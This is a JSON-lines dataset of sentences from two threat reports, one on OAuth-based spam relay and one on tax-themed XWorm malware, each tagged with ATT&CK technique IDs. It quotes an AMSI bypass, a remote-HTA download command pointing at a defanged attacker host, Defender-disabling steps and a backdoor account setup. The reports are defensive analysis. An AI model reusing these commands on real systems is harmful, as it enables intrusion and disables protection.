{"sentence": "Based on our research, this actor has sent high volumes of spam emails in short timeframes through other methods, such as connecting to mail servers from rogue IP addresses or sending directly from legitimate cloud-based bulk email sending infrastructure.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "The actor’s motive was to propagate deceptive sweepstakes spam emails designed to trick recipients into providing credit card details and signing up for recurring subscriptions under the guise of winning a valuable prize.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "While the scheme possibly led to unwanted charges for targets, there was no evidence of overt security threats such as credential phishing or malware distribution.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "The spam campaign carried the hallmarks of this actor: programmatically generated messages containing two visible hyperlinked images in the email body, as well as dynamic and randomized content injected within the HTML body of each mail message to evade spam filters. Figure 3.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "An example of spam email sent through the Exchange inbound connectorThe hyperlinked images within the spam messages implied to recipients that they were eligible for a prize.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Once clicked, the hyperlink directed recipients to a website where they were asked to complete a survey and provide credit card details to pay for the shipping of their prize.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Familiar brand logos, names, and websites were used throughout the spam email, likely to give an illusion of legitimacy.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Figure 4.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Clicking the image in the spam email leads to this website indicating a prize has been wonThe fine print, visible only by scrolling to the very bottom of a subsequent page, revealed that in providing their credit card information, recipients were not paying a shipping fee for their prize, but were in fact agreeing to be charged fees for several paid subscription services in order to enter into a sweepstakes for the prize.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "It is likely the threat actor’s main motive was potential financial gain from people who fell victim to this deceptive sweepstakes spam campaign.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Figure 5.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "The fine print shows the chance to win a prize is only through a sweepstakes after paying feesLikely to achieve scale and further maximize the chances of successful email delivery, the actor triggered this spam campaign from cloud-based outbound email infrastructure outside of Microsoft, mainly Amazon SES and Mail Chimp.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "These email platforms enable sending of mass bulk email, normally for marketing and other legitimate purposes.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "The campaign also utilized techniques to generate unique dynamic URLs underpinning the hyperlinked images within each spam email message, as shown in the examples below.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Examples of dynamic URL generation (domain obfuscated)This spam campaign exclusively targeted consumer email accounts.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "In the case of spam messages sent to Microsoft-hosted consumer email accounts (outlook.com), the spam emails were moved into customers’ junk folders before they could be viewed and clicked.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Mitigations While the follow-on spam campaign targets consumer email accounts, this attack targets enterprise tenants to use as infrastructure for this campaign.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "This attack thus exposes security weaknesses that could be used by other threat actors in attacks that could directly impact affected enterprises.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "As the main initial access vector of the attack was to obtain the admin’s credentials, we recommend organizations take the following steps to reduce their attack surface: Mitigate credential guessing attacks risks A key step in reducing the attack surface is securing the identity infrastructure.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "The most common initial access vector observed in this attack was account compromise through credential stuffing, and all the compromised administrator accounts did not have MFA enabled.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Implementing security practices that strengthen account credentials such as enabling MFA raises the cost of an attack.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Enable conditional access policies Conditional access policies are evaluated and enforced every time the user attempts to sign in.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Organizations can protect themselves from attacks that leverage stolen credentials by enabling policies such as device compliance or trusted IP address requirements.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Enable continuous access evaluation Continuous access evaluation (CAE) revokes access in real time when changes in user conditions trigger risks, such as when a user is terminated or moves to an untrusted location.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Enable security defaults While some of the features mentioned above require paid subscriptions, the security defaults in Azure AD, which is mainly for organizations using the free tier of Azure Active Directory licensing, are sufficient to better protect the organizational identity platform, as they provide preconfigured security settings such as MFA, protection for privileged activities, and others.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Detections for related techniques Leveraging its cross-signal capabilities, Microsoft 365 Defender alerts customers using Microsoft Defender for Office 365, Microsoft Defender for Cloud Apps, Application governance add-on, and Azure Active Directory Identity Protection to detect the techniques covered in the attack through the attack chain.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Each product can provide a different aspect for protection to cover the techniques observed in this attack: Microsoft 365 Defender Suspicious email-sending pattern from new Exchange inbound connector – This alert is generated when a suspicious email-sending pattern originating from a new Exchange inbound connector is detected.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "This behavior might suggest that an attacker set a malicious inbound connector to allow anonymous relay through the organization’s Exchange server.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Recommended reading to response for malicious connector incidents: New transport rule removing antispam header –", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "This alert is generated when a new transport rule to remove antispam header is detected.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Suspicious inbound connector and transport rule created to remove sender email headers – This alert is generated when a suspicious inbound connector and transport rule is created to remove headers that identify the true source address of sender.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "This might indicate a spam campaign is ongoing from the organization’s mailbox.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Suspicious Azure AD app creation – This alert is generated when a user account creates Azure Active Directory OAuth application with suspicious characteristics, as observed in this campaign.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Azure AD app registration by risky user – This alert is generated when a user account with high risk score as calculated by AAD Identity Protection is creating a new OAuth application and grants admin consent to it.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Microsoft Defender for Office 365 Microsoft Defender for Office 365 detects threat activity associated with this spamming campaign through the following email security alerts.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Note, however, that these alerts may also be triggered by unrelated threat activity.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "We’re listing them here because we recommend that these alerts be investigated and remediated immediately.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Email messages from a campaign removed after delivery​. This alert is generated when any messages associated with a campaign are delivered to mailboxes in an organization.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Microsoft removes the infected messages from Exchange Online mailboxes using zero-hour auto purge (ZAP) if this event occurs.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Microsoft Defender for Cloud Apps Activity from suspicious IP addresses.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "This alert is generated when there is activity from an IP address that has been identified as risky by Microsoft Threat Intelligence or by the organization.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "These IP addresses were identified as being involved in malicious activities, such as performing password spray, botnet C2, and may indicate a compromised account.", "labels": ["T1110"], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Activity from a password-spray associated IP address.", "labels": ["T1110"], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "This alert is generated when a successful sign-in from an IP address that had been identified as participating in password spray was observed.", "labels": ["T1110"], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "App governance App governance is an add-on to Microsoft Defender for Cloud Apps, which can detect malicious OAuth applications that make sensitive Exchange Administrative activities along with other threat detection alerts.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Activity related to this campaign will trigger the following alert: OAuth app with suspicious metadata has Exchange permission​. This alert is generated when a line of business OAuth app with suspicious metadata has privilege to manage permission over Exchange, which can lead an OAuth App to perform data collection or exfiltration activities or attempts to access and retrieve sensitive information.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Azure AD Identity Protection Azure AD Identity Protection automatically detects and remediates identity-based risks.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "It detects suspicious sign-in attempts and raises any of the following alerts: Anomalous Token.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "This alert flags a token’s unusual characteristics, such as its token lifetime or played from an unfamiliar location.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Unfamiliar sign-in properties.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "In this phishing campaign, the attackers used multiple proxies or VPNs originating from various countries or regions unfamiliar to the target user.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "This alert flags anomalies in the token claims, token age, and other authentication attributes.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Anonymous IP address.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "This alert flag sign-in attempts from anonymous IP addresses (for example, Tor browser or anonymous VPN).Hunting queries To locate related activity, Microsoft 365 Defender customers can run the following advanced hunting queries: Applications given the “Exchange.ManageAsApp” permission: CloudAppEvents | where Timestamp > ago(30d) | where ActionType == \"Add app role assignment to service principal.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "\" | where RawEventData.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "ResultStatus == \"Success\" | where RawEventData has \"dc50a0fb-09a3-484d-be87-e023b12c6440\" //Exchange.ManageAsApp", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Role Id | project Timestamp, AccountObjectId,AccountDisplayName, AppId = RawEventData.ModifiedProperties[0].NewValue, AppName = RawEventData.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "ModifiedProperties[6].NewValue New transport rules that remove anti-spam headers from emails: CloudAppEvents | where ActionType == \"New-TransportRule\" | mvexpand Param = RawEventData.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Parameters | where Param.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Name == \"RemoveHeader\" and Param.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Value contains \"X-MS-Exchange-AntiSpam-MessageData\" | project Timestamp, AccountObjectId, AccountDisplayName, ServicePrincipalId = tostring(RawEventData.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "AppId)", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Affected Platforms: WindowsImpacted Users: Windows usersImpact: Compromised machines are under the control of the threat actor, potentially resulting in stolen personally identifiable information (PII), credential theft, financial loss, etc.Severity Level:", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Medium The time has come again for tax returns—and tax-based scams.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Targeting calendar-based events enables threat actors to prepare ahead of time and have a new selection of targets on rotation.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "This blog covers a few examples of malware that take advantage of tax season.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Although such attacks may seem repetitive to the casual observer, threat actors would not continue to target taxpayers if previous attacks had not been successful.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "XWorm Delivered Through Tax Scam FortiGuard Labs became aware of a curious-looking archive file hosted on an open directory on www[.]farmaciasmv[.]com/citrix/2022%20tax_documents[.]zip, which has since been removed.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Empty open directory that hosted 2022%20tax_documents[.]zip", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "The zip file contains the following files: Annual Withdrawal.xlsx (SHA2: 59bb292565ebc86800e5e4d625d3c19f98afe2261d3da1a8e2f9b45ec76153a0) Robert tax_docs.pdf (SHA2: a9f4b054ea128529c62a8ff25f1439651f045e443adf5ff11fb5bd29f1333a7a) Figure 2.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Contents of the 2022%20tax_documents[.]zip The XLSX file is a benign decoy file that contains financial data from an unknown source.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Contents of the Annual Withdrawal.xlsx The other file is malicious.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Despite Robert tax_docs.pdf having a PDF icon, it is different from what it seems.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "The file is actually a link (LNK) file that launches the legitimate script (C:\\Windows\\System32\\SyncAppvPublishingServer.vbs), which has a known issue of taking command line arguments.", "labels": ["T1059.003"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "The link file exploits this issue and feeds the legitimate script with the following command line argument to download and execute a remote “note.hta”: ;\\W_\\*2\\\\\\m_h_a_e ('http'+'://datacenter002[.]myftp[.]biz/documents/note.", "labels": ["T1059.003", "T1105"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "'+'hta')", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "The downloaded note.hta uses PowerShell to download another remote file hosted on hxxp://datacenter002[.]myftp[.]biz/documents/note[.]gif, which was not available at the time of our investigation.", "labels": ["T1105"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Finding another note.gif (SHA2: 0487ef401345aa17c6aaeac23151219863e1363f82fe76edd0066bbf3fb07715) based on the same infection chain let us continue our quest to the payload.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "note.gif is a PowerShell script that creates the following files: C:\\Users\\Public\\onedrive.vbs (SHA2: 92C1767EE4A954B93D6AFA9AE83FE82B82D2867D919D0359DCF2C8DA75FB8C7C)", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "C:\\Users\\Public\\test.vbs (SHA2: ADBA59F1495965684EEB4C5DAAD67F732FEB5E9183AE05EB869E20C88CAD7327) C:\\Users\\Public\\onedrive.ps1 (SHA2: 7A9705A424A634A321DB9F36B61D74B953A44D44EDC429F7641BF830870572FC) Once launched, it executes the onedrive.vbs and test.vbs files.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "test.vbs creates %usertemp%\\Note.txt, a clean file containing fake \"QUARTERLY TAX PAYMENTS FOR 2022\" data. Figure 4.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Note.txt containing fake “QUARTERLY TAX PAYMENTS FOR 2022” data onedrive.vbs runs the previously created onedrive.ps1 filled with activities designed to hamper Windows Defender.", "labels": ["T1562.001"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "It first executes the following known AMSI (Antimalware Scripting Interface) bypass:", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "[Ref].Assembly.GetType(‘System.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Management.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Automation.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "AmsiUtils’)", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": ".GetField(‘amsiInitFailed’,’NonPublic,Static’).SetValue($null,$true) It also disables AMSI by hijacking the COM server, changing it from \"%windir%\\system32\\amsi.dll\" to \"C:\\IDontExist.dll\".", "labels": ["T1562.001"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "The PowerShell script then performs the following actions to alter Windows Defender settings: Adds the following exclusions to Windows DefenderExtensions: .bat, .ppam, .xls, .docx, .bat, .exe, .vbs, .js", "labels": ["T1562.001"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "File paths: C:\\, D:\\, E:\\ Processes: explorer.exe, kernel32.dll, aspnet_compiler.exe, cvtres.exe, CasPol.exe, csc.exe, Msbuild.exe, ilasm.exe, InstallUtil.exe, jsc.exe, Calc.exe, powershell.exe, rundll32.exe, conhost.exe, Cscript.exe, mshta.exe, cmd.exe, DefenderisasuckingAntivirus, wscript.exe Allows known Windows Defender Threat IDs to execute Disables Windows Defender Attack Surface Reduction (ASR) rules Disables the following Windows Defender features:Intrusion Prevention System IO AV Protection (does not scan downloaded files and attachments)", "labels": ["T1562.001"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Realtime monitoring Script scanning Controlled folder access protection PUA protection Scheduled scan Sets Network Protection to audit mode in Windows Defender (allows users to visit known malicious sites but logs them in the event log)", "labels": ["T1562.001"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Disables MAPS (Microsoft Active Protection Service) reporting Never submits samples to Microsoft Allows severe/high/moderate/low-level threats to execute Disables the \"administrator in Admin Approval Mode\" user type (disables UAC prompts) Stops the WinDefend service (Windows Defender) Disables the startup of the WinDefend service Deletes the WinDefend service Creates a user named \"System32\" with the password “123” (no quotes) Adds the System32 user to both the \"administrators\" group and the \"Remote Desktop Users\" group Stops the Microsoft Defender Antivirus Network Inspection Service (WdNisSvc) Turns off Windows Firewall The PowerShell script finally uses reflective loading to load a binary into memory that injects XWorm RAT version 3.1.", "labels": ["T1055", "T1562.001"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Furthermore, we discovered other files that follow a similar attack pattern; “Mary tax docs.pdf.lnk” (SHA2: 6dee21d581eac2214e3ea7259bf9cb3e0cc31b442a372ffba00f82aa858050f0) and “Wilson tax_docs.pdf.lnk” (SHA2: c06cf72149d52b8a7c73b38c075156df4c458f633c3031c3c0ce32741ad1518e) that were used in March 2023.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "As with the attack mentioned previously, these link files are disguised as PDF files to fool potential victims into opening them.", "labels": ["T1204.002"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "“Mary tax docs.pdf.lnk”, along with another clean Microsoft Office file, “R&P Sales Summary.docx”, are included in an archived file labeled “2022 tax docs.zip”.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Running the link file triggers the download and execution of “doc.pdf” from “hxxp://datacenter11[.]myftp[.]org/notepad/”.", "labels": ["T1105"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "The “doc.pdf” is actually a VBA file that uses PowerShell to pull and run “hxxp://datacenter11[.]myftp[.]org/met/a[.]mp3”.", "labels": ["T1105"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "While the “a.mp3” is not available for investigation, OSINT (Open Source Intelligence) indicates that the XWorm malware is likely delivered to the victim’s machine.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "XWorm From the evidence that FortiGuard Labs accumulated during our research, we have high confidence that the 2022%20tax_documents[.]zip file we initially analyzed delivers the XWorm.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "XWorm is a commodity RAT (Remote Access Trojan) reportedly sold in underground forums for $30 to $150.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "XWorm supports typical RAT functions, such as taking screenshots, keylogging, and taking control of a compromised machine by abusing Virtual Network Computing (VNC), a technique infamously known as Hidden VNC (HVNC).", "labels": ["T1056.001", "T1113"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "XWorm can also encrypt files, essentially acting in a similar fashion to ransomware.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Here are screenshots of a recently cracked version of XWorm v3.1: Figure 5.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Leaked cracked version of XWorm v3.1 Figure 6.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Some of the functionalities supported by XWorm v3.1 Figure 7.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Download page of the cracked version of XWorm v.3.1 Going back to the first example, “2022%20tax_documents[.]zip”, we found that it was hosted on the open directory “www[.]farmaciasmv[.]com/citrix/”.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "We also found another page on the same domain likely used for phishing hxxp://farmaciasmv[.]com/sharefile/citrix/2022%20taxes[.]html.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "The files involved in this attack were submitted to VirusTotal.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "We don’t believe victims just wander into such malicious sites by accident.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Based on our experience, they were likely lured via malicious links in spam emails.", "labels": ["T1204.002"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Manual interactions are required up until the files inside the zip file are extracted, and the link file is manually run.", "labels": ["T1204.002"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "The basic security practice of not opening files from unknown sources can prevent infection and the damages that follow.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Dual Malware Wielding Another tax-related attack FortiGuard Labs came across is an image file named “TaxReturn2022.img” (SHA2: 6658d4b14f0093a2fccd2f57b5bf9fa18d09cda5d42036f280b41e5beb1ff2fe) that contains the following files:", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "TaxReturn2022.pdf.lnk (SHA2: 180a79cff5ef91ecd744a35b2e433d0a4aae0e4d3b87c40e8e51f5ca02aac4d6) TaxReturns2022.pdf.lnk (SHA2: fa862d43a85a9ea6f046f3edc743b897bba86348c04b8d62ba6eb27f951edf55) TaxReturns2022.zip (SHA2: c4599d4270ba8ef58fb8f1219ecff864acd83145c368ada9406a341d6f4a4fbf)", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "We were able to locate another file, “TaxReturns2022.iso” (SHA2: bb7138a106ee2e0a384896316679c750e3287b51fc16a5e65ccd1e44911162d6), that contains identical files.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Figure 8.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Contents of TaxReturn2022.img Figure 9.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Contents of TaxReturns2022.iso Unfortunately, the infection vector for both files has not been identified, but the likely attack avenue is an email containing malicious attachments and links.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "The TaxReturns2022.zip file within both archives is password-protected with an unknown password, and its contents cannot be extracted.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "As with the previous example, “TaxReturn2022.pdf.lnk” has a PDF icon.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "However, it’s a link (shortcut) file, as seen in Figure 4.", "labels": ["T1204.002"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Manually executing the lnk file triggers the download of wed.hta from hxxp://179.43.175[.]187/pqpf/ and saves it as %USERAPPDATA%\\wed.hta (SHA2: 0cbaf95b9d4df27442d753dc4cb600eda0a7ecb95e4071f380f69f5f3c89adb1).", "labels": ["T1105", "T1204.002"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "The downloaded file is an HTA web file containing VBScript code for the next action and a lot of junk code.", "labels": ["T1027"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "It eventually runs: powershell.exe -ExecutionPolicy", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "UnRestricted [powershell code This PowerShell code is designed to execute whatever was downloaded.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "In this case, it downloads “TaxReturn2022.pdf” from hxxp://179.43.175[.]187/pqpf/, saves it as %USERAPPDATA%\\TaxReturn2022.pdf, and opens it.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Unfortunately, this PDF file is a clean decoy file that also requires an unidentified password to open.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "The PowerShell code sets the following registry entry to open the downloaded PDF file every time the computer boots and adds the HIDDEN file attribute to the file:", "labels": ["T1547.001", "T1564.001"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\iXqrVo =", "labels": ["T1547.001"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "[location of downloaded PDF file]", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "This behavior led us to believe that the threat actor behind this attack relies on templates and uses them without really knowing what they are because there is no valid reason to open a decoy PDF file at every startup, and adding the HIDDEN file attribute is usually reserved for executables and DLLs.", "labels": ["T1564.001"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "The script then sleeps five seconds before downloading and executing whatever has been downloaded.", "labels": ["T1105"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "In this case, it downloads TCywxTOvZk.wsf from hxxp://[redacted].67[.]12:222/ and saves it as %USERAPPDATA%\\TCywxTOvZk.wsf (SHA2: 351b0514feaa6a2fc21af25ad7c6c9bed93e38ef896d3fb6c8633924d8615e2d).", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Note that part of the IP address masked as the directory is accessible.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "TCywxTOvZk.wsf has only three meaningful lines of code out of almost 2840 lines and downloads and runs hxxp://[redacted].67[.]12:222/no[.]txt (SHA2: d7c63c4d488918aa09fcbd2012d041ed440377af51a87e757c40df3725b1eb07).", "labels": ["T1105"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
